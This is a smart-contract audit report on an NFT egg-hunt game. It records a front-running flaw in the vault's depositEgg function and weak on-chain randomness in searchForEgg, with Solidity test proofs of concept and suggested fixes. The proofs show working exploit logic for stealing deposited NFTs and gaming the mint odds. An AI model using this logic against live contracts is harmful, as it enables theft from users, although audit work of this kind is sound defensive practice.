# Protocol Audit Report

# Table of Contents



# Protocol Summary

EggHuntGame is a gamified NFT experience where participants search for hidden eggs to mint unique Eggstravaganza Egg NFTs. Players engage in an interactive hunt during a designated game period, and successful egg finds can be deposited into a secure Egg Vault.

# Disclaimer

I make all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

# Risk Classification

| | | Impact | | |
|---|---|---|---|---|
| | | High | Medium | Low |
| | High | H | H/M | M |
| Likelihood | Medium | H/M | M | M/L |
| | Low | M | M/L | L |

I use the CodeHawks severity matrix to determine severity. See the documentation for more details.

# Audit Details

## Scope

All contracts in the `src` directory are in scope.

src/
├── EggHuntGame.sol // Main game contract managing the egg hunt lifecycle and minting process.
├── EggVault.sol // Vault contract for securely storing deposited Egg NFTs.
└── EggstravaganzaNFT.sol // ERC721-style NFT contract for minting unique Egg NFTs.

## Roles

Game Owner: The deployer/administrator who starts and ends the game, adjusts game parameters, and manages ownership. Player: Participants who call the egg search function, mint Egg NFTs upon successful searches, and may deposit them into the vault. Vault Owner: The owner of the EggVault contract responsible for managing deposited eggs.

# Executive Summary

## Issues found

| Severtity | Number of issues found |
| --- | --- |
| High | 2 |
| Medium | 0 |
| Low | 1 |
| Total | 3 |

# Findings

## High

### [H-1] Depositor verification vulnerability leading to an attacker can front-run the deposit call and steal NFT.

**Description:** The `depositEgg` function takes an arbitrary depositor address as a parameter. Because it does not check that the provided depositor equals msg.sender, a malicious actor could register a deposit on behalf of any address. While the NFT must first be transferred to the vault, this flexibility allows one to "misrepresent" the depositor. While `withdrawEgg` ensures that only the account recorded as depositor can withdraw, the vulnerability arises from the ability of an attacker to manipulate who is recorded as the depositor by calling `depositEgg` first.

**Impact:** An attacker can front-run the deposit call, record themselves as the depositor, and then later call `withdrawEgg` to withdraw the NFT — even if they never were the original owner who transferred it to the vault.

**Proof of Concept:** Include the following test in the `EggHuntGameTest.t.sol` file:

```
function testAttackerCanManipulateDepositor() public {
    uint256 tokenId = 1;

    // Mint an egg to the vault
    vm.prank(address(game));
    nft.mintEgg(address(alice), tokenId);

    // Check that nft is owned by alice.
    assertEq(nft.ownerOf(tokenId), alice);

    // Alice transfers the NFT to the vault to deposit it.
    vm.prank(alice);
    nft.transferFrom(alice, address(vault), tokenId);

    // At this point, specified nft is owned by the vault but no depositor is
recorded.
    // The legitimate depositor (alice) plans to call depositEgg,
    // but before this, the attacker (bob) front-runs and calls depositEgg.
    vm.prank(bob);
    vault.depositEgg(tokenId, bob); // Attacker sets depositor arbitrarily

    // Now, if the legitimate user (alice) attempts to deposit, it will revert.
    vm.prank(alice);
    vm.expectRevert("Egg already deposited");
    vault.depositEgg(tokenId, alice);

    // As the attacker (bob) is recorded as the depositor, he can now withdraw the
NFT.
    vm.prank(bob);
    vault.withdrawEgg(tokenId);

    // Check that the attacker has become the new owner of the NFT.
    address newOwner = nft.ownerOf(tokenId);
    assertEq(newOwner, bob);
}
```

**Recommended Mitigation:** Modify `depositEgg` function to ensure that the depositor is accurately and securely recorded (e.g., by requiring depositor == msg.sender) or make the `depositEgg` function restricted to be callable only by a trusted contract, such as `EggHuntGame` so that only the rightful party can record themselves as the depositor.

### [H-2] Exploitation of Unrestricted `searchForEgg` Call via Weak Randomness.

**Description:** The `EggHuntGame` contract's searchForEgg function is vulnerable due to its weak pseudo-random number generator combined with the lack of rate-limiting. An attacker can deploy a contract that repeatedly calls searchForEgg until the weak randomness check passes. The provided `weakRandomUnrestrictedCall` function, leverages this vulnerability by generating a pseudo-random number based on block data and the contract's address. If the generated number falls below the configured eggFindThreshold, the attacker's contract calls searchForEgg to mint an egg NFT. This approach allows the attacker to significantly skew the game's fairness by repeatedly triggering egg minting.

**Impact:** An attacker can abuse this vulnerability by spamming calls to `searchForEgg`, which leads to: • An unfair advantage resulting in a disproportionate number of eggs minted for the attacker. • Disruption of the intended game mechanics and balance, potentially devaluing rewards for honest participants. • Increased network and gas costs due to a high volume of state-changing transactions that compromise the system's overall stability.

**Proof of Concept:** Below is the vulnerable function that demonstrates the attack vector:

```
function weakRandomUnrestrictedCall() public {
    uint256 eggFindThreshold = game.eggFindThreshold();
    uint256 eggCounter = game.eggCounter();

    uint256 random =
        uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao,
address(this), eggCounter))) % 100;

    // If the random number is less than the threshold, an egg is minted via
searchForEgg.
    if (random < eggFindThreshold) {
        game.searchForEgg();
    }
}
```

This snippet shows how an attacker can manipulate inputs to repeatedly trigger searchForEgg when the pseudo-random outcome is favorable. An attacker could wrap this function call in a loop (or repeatedly invoke it over multiple transactions) until successfully minting eggs, thereby undermining the intended random distribution of rewards.

**Recommended Mitigation:** • Implement Robust Randomness: Replace the weak pseudo-random number generation with a secure randomness source such as Chainlink VRF or a commit-reveal scheme to ensure unpredictability. • Introduce Rate-Limiting/Cooldown: Enforce a per-user cooldown period or rate limit for calling searchForEgg, so that even if randomness is manipulated, an attacker cannot spam the function calls in rapid succession:

```
contract EggHuntGame is Ownable {
+    uint256 public constant COOLDOWN_PERIOD = 30; // seconds
+    mapping(address => uint256) public lastSearchTime;
    ...
}
```

```
function searchForEgg() external {
    require(gameActive, "Game not active");
    require(block.timestamp >= startTime, "Game not started yet");
    require(block.timestamp <= endTime, "Game ended");
+   require(block.timestamp >= lastSearchTime[msg.sender] + COOLDOWN_PERIOD,
"Cooldown active");

+   lastSearchTime[msg.sender] = block.timestamp;

    uint256 random =
        uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao,
msg.sender, eggCounter))) % 100;

    if (random < eggFindThreshold) {
        eggCounter++;
        eggsFound[msg.sender] += 1;
        eggNFT.mintEgg(msg.sender, eggCounter);
        emit EggFound(msg.sender, eggCounter, eggsFound[msg.sender]);
    }
}
```

## Low

### [L-1] Pseudo-Randomness Vulnerability.

**Description:** The `searchForEgg` function uses a pseudo-random number generator. This method is not secure as it relies on block variables (like block.timestamp and block.prevrandao) and predictable inputs (such as msg.sender and eggCounter).

**Impact:** An attacker (or miner with influence over block properties) could potentially manipulate or predict the outcome, skewing the egg-finding chance in their favor.

**Proof of Concept:** Include the following test in the `EggHuntGameTest.t.sol` file:

```
function testRandomNumberGeneration() public {
    uint256 eggFindThreshold = game.eggFindThreshold();
    uint256 eggCounter = game.eggCounter();

    uint256 random1 =
        uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao,
address(this), eggCounter))) % 100;
    uint256 random2 =
        uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao,
address(this), eggCounter))) % 100;

    assertEq(random1, random2);
}
```

**Recommended Mitigation:** For applications where fairness and unpredictability are critical, using a verifiable random function (VRF) such as Chainlink VRF is recommended.